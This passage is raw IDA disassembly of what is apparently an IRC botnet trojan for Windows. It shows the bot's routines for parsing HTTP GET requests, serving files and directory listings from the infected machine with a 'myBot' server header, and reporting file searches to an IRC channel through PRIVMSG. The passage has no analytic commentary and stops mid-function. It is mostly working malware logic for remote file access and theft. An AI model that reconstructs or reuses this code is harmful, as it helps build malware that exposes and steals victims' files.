; ---------------------------------------------------------------------------
loc_40FD72: ; CODE XREF: sub_40FB50+1C8j
xor esi, esi
push 104h ; Size
lea eax, [ebp+var_23C]
push esi ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Str]
mov [ebp+arg_0], esi
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jbe loc_40FF27
loc_40FDA0: ; CODE XREF: sub_40FB50+30Fj
mov eax, [ebp+arg_0]
mov al, [ebp+eax+Str]
cmp al, 0Ah
mov [ebp+esi+Str1], al
jnz loc_40FE4B
lea eax, [ebp+Str1]
push offset aGet_0 ; "GET "
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_40FE1F
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 5
pop ecx
jbe short loc_40FE1F
push offset asc_44A7B8 ; " "
push offset asc_44A7BC ; " "
lea eax, [ebp+Str1]
push offset aGet_1 ; "GET "
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strtok
push eax ; Source
lea eax, [ebp+var_23C]
push eax ; Dest
call _strcpy
add esp, 10h
jmp short loc_40FE36
; ---------------------------------------------------------------------------
loc_40FE1F: ; CODE XREF: sub_40FB50+27Ej
; sub_40FB50+290j
lea eax, [ebp+Str1]
push offset asc_44A7C8 ; "\r\n"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40FE6A
loc_40FE36: ; CODE XREF: sub_40FB50+2CDj
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FE4B: ; CODE XREF: sub_40FB50+263j
inc [ebp+arg_0]
lea eax, [ebp+Str]
push eax ; Str
inc esi
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FDA0
jmp loc_40FF27
; ---------------------------------------------------------------------------
loc_40FE6A: ; CODE XREF: sub_40FB50+2E4j
xor ecx, ecx
test ebx, ebx
jbe short loc_40FEB4
lea eax, [ebp+var_134]
loc_40FE76: ; CODE XREF: sub_40FB50+333j
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE87
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FE76
jmp short loc_40FEB7
; ---------------------------------------------------------------------------
loc_40FE87: ; CODE XREF: sub_40FB50+32Bj
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FEAB
lea eax, [ebp+ecx*4+var_134]
loc_40FE95: ; CODE XREF: sub_40FB50+359j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE95
loc_40FEAB: ; CODE XREF: sub_40FB50+33Cj
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FEB7
; ---------------------------------------------------------------------------
loc_40FEB4: ; CODE XREF: sub_40FB50+31Ej
mov esi, [ebp+var_4]
loc_40FEB7: ; CODE XREF: sub_40FB50+335j
; sub_40FB50+362j
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FF20
lea eax, [ebp+var_360]
push eax ; Str
call _strlen
mov edi, eax
lea eax, [ebp+var_23C]
push eax ; Str
call _strlen
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FF20
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4E3194 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_410134
add esp, 14h
jmp short loc_40FF27
; ---------------------------------------------------------------------------
loc_40FF20: ; CODE XREF: sub_40FB50+36Fj
; sub_40FB50+395j
push esi
call dword_4E3190 ; closesocket
loc_40FF27: ; CODE XREF: sub_40FB50+11Dj
; sub_40FB50+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FC5D
jmp loc_40FC27
; ---------------------------------------------------------------------------
loc_40FF3C: ; CODE XREF: sub_40FB50+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FF41: ; CODE XREF: sub_40FB50+6Aj
; sub_40FB50+92j ...
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44A7CC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF87
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_250] ; int
push eax ; int
lea eax, [ebp+var_5E8]
push eax ; Str
push [ebp+var_5EC] ; int
call sub_409D34
add esp, 14h
loc_40FF87: ; CODE XREF: sub_40FB50+412j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push edi
call dword_4E3190 ; closesocket
push [ebp+var_254]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FB50 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFB1 proc near ; DATA XREF: sub_410134+24Do
Str = byte ptr -1654h
Source = byte ptr -654h
Dest = byte ptr -550h
var_44C = dword ptr -44Ch
Format = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_410017
push offset aTextHtml ; "text/html"
jmp short loc_41001C
; ---------------------------------------------------------------------------
loc_410017: ; CODE XREF: sub_40FFB1+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_41001C: ; CODE XREF: sub_40FFB1+64j
lea eax, [ebp+var_9C]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_4F53D8 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_4F53D4 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410095
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 24h
jmp short loc_4100B6
; ---------------------------------------------------------------------------
loc_410095: ; CODE XREF: sub_40FFB1+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 28h
loc_4100B6: ; CODE XREF: sub_40FFB1+E2j
lea eax, [ebp+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_44C]
call dword_4E3148 ; send
cmp [ebp+var_A4], edi
jnz short loc_4100F6
lea eax, [ebp+Dest]
push eax
push [ebp+var_44C]
call sub_410A71
pop ecx
pop ecx
jmp short loc_410113
; ---------------------------------------------------------------------------
loc_4100F6: ; CODE XREF: sub_40FFB1+12Dj
lea eax, [ebp+Source]
push eax ; Source
push edi ; int
push [ebp+var_44C] ; int
lea eax, [ebp+Dest]
push eax ; Str
call sub_4103EB
add esp, 10h
loc_410113: ; CODE XREF: sub_40FFB1+143j
push [ebp+var_44C]
call dword_4E3190 ; closesocket
push [ebp+var_B4]
call sub_40BA72
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_40FFB1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410134 proc near ; CODE XREF: sub_40FB50+3C6p
Source = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
Str = byte ptr -314h
var_211 = byte ptr -211h
Dst = byte ptr -210h
Dest = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_41016A
push eax
push offset aS_25 ; "\\%s"
jmp short loc_410173
; ---------------------------------------------------------------------------
loc_41016A: ; CODE XREF: sub_410134+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_26 ; "%s"
loc_410173: ; CODE XREF: sub_410134+34j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
xor esi, esi
xor ebx, ebx
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_41020E
mov [ebp+arg_8], 2
loc_41019E: ; CODE XREF: sub_410134+D8j
lea eax, [ebp+Dest]
push eax ; Str
call _strlen
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_4101DE
cmp [ebp+esi+Dest], 25h
jnz short loc_4101DE
cmp [ebp+esi+var_10B], 32h
jnz short loc_4101DE
cmp [ebp+esi+var_10A], 30h
jnz short loc_4101DE
inc esi
mov [ebp+ebx+Dst], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_4101F8
; ---------------------------------------------------------------------------
loc_4101DE: ; CODE XREF: sub_410134+7Aj
; sub_410134+84j ...
mov al, [ebp+esi+Dest]
cmp al, 2Fh
jnz short loc_4101EE
push 5Ch
pop eax
jmp short loc_4101F1
; ---------------------------------------------------------------------------
loc_4101EE: ; CODE XREF: sub_410134+B3j
movsx eax, al
loc_4101F1: ; CODE XREF: sub_410134+B8j
mov [ebp+ebx+Dst], al
loc_4101F8: ; CODE XREF: sub_410134+A8j
lea eax, [ebp+Dest]
inc esi
inc [ebp+arg_8]
push eax ; Str
inc ebx
call _strlen
cmp esi, eax
pop ecx
jb short loc_41019E
loc_41020E: ; CODE XREF: sub_410134+61j
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Str]
push [ebp+arg_4]
push offset aSS_4 ; "%s%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push offset asc_44AA18 ; "\n"
push eax ; Str
call _strtok
add esp, 18h
lea eax, [ebp+Str]
push eax
call ds:dword_4F536C ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_41025F
cmp eax, 0FFFFFFFFh
jnz short loc_410262
push [ebp+arg_0]
jmp loc_4102E2
; ---------------------------------------------------------------------------
loc_41025F: ; CODE XREF: sub_410134+11Cj
mov [ebp+var_4], esi
loc_410262: ; CODE XREF: sub_410134+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_41026F
mov [ebp+var_4], esi
loc_41026F: ; CODE XREF: sub_410134+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4102ED
cmp [ebp+arg_C], edi
jz short loc_4102E1
lea eax, [ebp+Str]
push offset asc_44AA1C ; "*"
push eax ; Dest
call _strcat
pop ecx
lea eax, [ebp+Str]
pop ecx
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Str
call sub_410B2E
add esp, 0Ch
lea eax, [ebp+Dst]
push eax ; Format
lea eax, [ebp+var_53C]
push eax ; Dest
call _sprintf
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_41033C
; ---------------------------------------------------------------------------
loc_4102E1: ; CODE XREF: sub_410134+152j
push ebx
loc_4102E2: ; CODE XREF: sub_410134+126j
call dword_4E3190 ; closesocket
jmp loc_4103E4
; ---------------------------------------------------------------------------
loc_4102ED: ; CODE XREF: sub_410134+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+Str]
push 80000000h
push eax
call ds:dword_4F53C0 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41033C
lea eax, [ebp+Str]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:dword_4F53DC ; GetFileSize
push esi
mov [ebp+var_330], eax
call ds:dword_4F533C ; CloseHandle
loc_41033C: ; CODE XREF: sub_410134+1ABj
; sub_410134+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+Source]
push esi
push offset asc_44AA20 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_40B756
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_45601C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FFB1
push edi
push edi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_45602C[ecx], eax
jz short loc_4103B6
loc_4103A4: ; CODE XREF: sub_410134+280j
cmp [ebp+var_318], edi
jnz short loc_4103E4
push 5
call ds:dword_4F534C ; Sleep
jmp short loc_4103A4
; ---------------------------------------------------------------------------
loc_4103B6: ; CODE XREF: sub_410134+26Ej
push ebx
call dword_4E3190 ; closesocket
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_44AA54 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_415C3F
add esp, 10h
loc_4103E4: ; CODE XREF: sub_410134+1B4j
; sub_410134+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_410134 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4103EB(char *Str,int,int,char *Source)
sub_4103EB proc near ; CODE XREF: sub_401CC7+7823p
; sub_40FFB1+15Ap
Dst = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
Str1 = byte ptr -35Ch
var_248 = byte ptr -248h
Dest = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call _memset
mov edi, [ebp+Str]
push offset asc_44AA8C ; "\n"
push edi ; Str
call _strtok
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_41044A
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_410549
; ---------------------------------------------------------------------------
loc_41044A: ; CODE XREF: sub_4103EB+3Aj
cmp [ebp+Source], ebx
push edi ; Str
jz loc_41052F
call _strlen
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
push edi ; Str
call _strlen
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_410549
; ---------------------------------------------------------------------------
loc_41052F: ; CODE XREF: sub_4103EB+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_410549: ; CODE XREF: sub_4103EB+5Aj
; sub_4103EB+142j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
cmp [ebp+Source], ebx
jz short loc_4105E4
push [ebp+Source] ; Str
call _strlen
cmp eax, 2
pop ecx
jbe short loc_4105E4
push [ebp+Source] ; Str
call _strlen
sub eax, 3
pop ecx
jz short loc_410595
loc_410589: ; CODE XREF: sub_4103EB+1A8j
mov ecx, [ebp+Source]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410595
dec eax
jnz short loc_410589
loc_410595: ; CODE XREF: sub_4103EB+19Cj
; sub_4103EB+1A5j
inc eax
push eax ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
loc_4105E4: ; CODE XREF: sub_4103EB+180j
; sub_4103EB+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_4F53F0 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+Str], eax
push ecx
push eax
call ds:dword_4F53EC ; FindNextFileA
test eax, eax
jz loc_4109D4
mov edi, 1FFh
loc_410610: ; CODE XREF: sub_4103EB+5E3j
cmp [ebp+var_388], ebx
jz loc_4109BC
lea eax, [ebp+Str1]
push offset a__ ; ".."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4109BC
lea eax, [ebp+Str1]
push offset a__2 ; "."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4109BC
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_4F53E8 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_4F53E4 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja short loc_410685
mov ecx, offset aAm ; "AM"
loc_410685: ; CODE XREF: sub_4103EB+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410691
sub eax, 0Ch
loc_410691: ; CODE XREF: sub_4103EB+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+Dest]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax ; Dest
call _sprintf
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_410834
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410705
lea eax, [ebp+Str1]
push eax
push offset aS_27 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_41097D
; ---------------------------------------------------------------------------
loc_410705: ; CODE XREF: sub_4103EB+2E0j
cmp [ebp+Source], ebx
jz loc_4107EF
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS_5 ; "%s%s/"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Eh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_4107A5
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4107AA
; ---------------------------------------------------------------------------
loc_4107A5: ; CODE XREF: sub_4103EB+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4107AA: ; CODE XREF: sub_4103EB+3B8j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_41097E
; ---------------------------------------------------------------------------
loc_4107EF: ; CODE XREF: sub_4103EB+31Dj
lea eax, [ebp+Str1]
push eax
push offset aS_28 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_41098D
; ---------------------------------------------------------------------------
loc_410834: ; CODE XREF: sub_4103EB+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_410873
push ebx
push [ebp+var_368]
call sub_41748B
pop ecx
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi ; Count
loc_41085F: ; CODE XREF: sub_4103EB+577j
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 1Ch
jmp loc_41098D
; ---------------------------------------------------------------------------
loc_410873: ; CODE XREF: sub_4103EB+44Fj
cmp [ebp+Source], ebx
jz loc_410967
push 0E6h
push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS_6 ; "%s%s"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Fh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_410913
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410918
; ---------------------------------------------------------------------------
loc_410913: ; CODE XREF: sub_4103EB+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410918: ; CODE XREF: sub_4103EB+526j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_41085F
; ---------------------------------------------------------------------------
loc_410967: ; CODE XREF: sub_4103EB+48Bj
push [ebp+var_368]
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_41097D: ; CODE XREF: sub_4103EB+315j
push esi ; Count
loc_41097E: ; CODE XREF: sub_4103EB+3FFj
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 18h
loc_41098D: ; CODE XREF: sub_4103EB+444j
; sub_4103EB+483j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
cmp [ebp+arg_8], ebx
jz short loc_4109BC
push 7D0h
call ds:dword_4F534C ; Sleep
loc_4109BC: ; CODE XREF: sub_4103EB+22Bj
; sub_4103EB+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+Str]
call ds:dword_4F53EC ; FindNextFileA
test eax, eax
jnz loc_410610
loc_4109D4: ; CODE XREF: sub_4103EB+21Aj
push [ebp+Str]
call ds:dword_4F53E0 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_410A17
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_41748B
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_41748B
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_410A4B
; ---------------------------------------------------------------------------
loc_410A17: ; CODE XREF: sub_4103EB+5F5j
cmp [ebp+Source], ebx
jz short loc_410A31
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_410A4B
; ---------------------------------------------------------------------------
loc_410A31: ; CODE XREF: sub_4103EB+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax ; Dest
call _sprintf
add esp, 10h
loc_410A4B: ; CODE XREF: sub_4103EB+62Aj
; sub_4103EB+644j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E3148 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4103EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A71 proc near ; CODE XREF: sub_40FFB1+13Cp
Dst = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
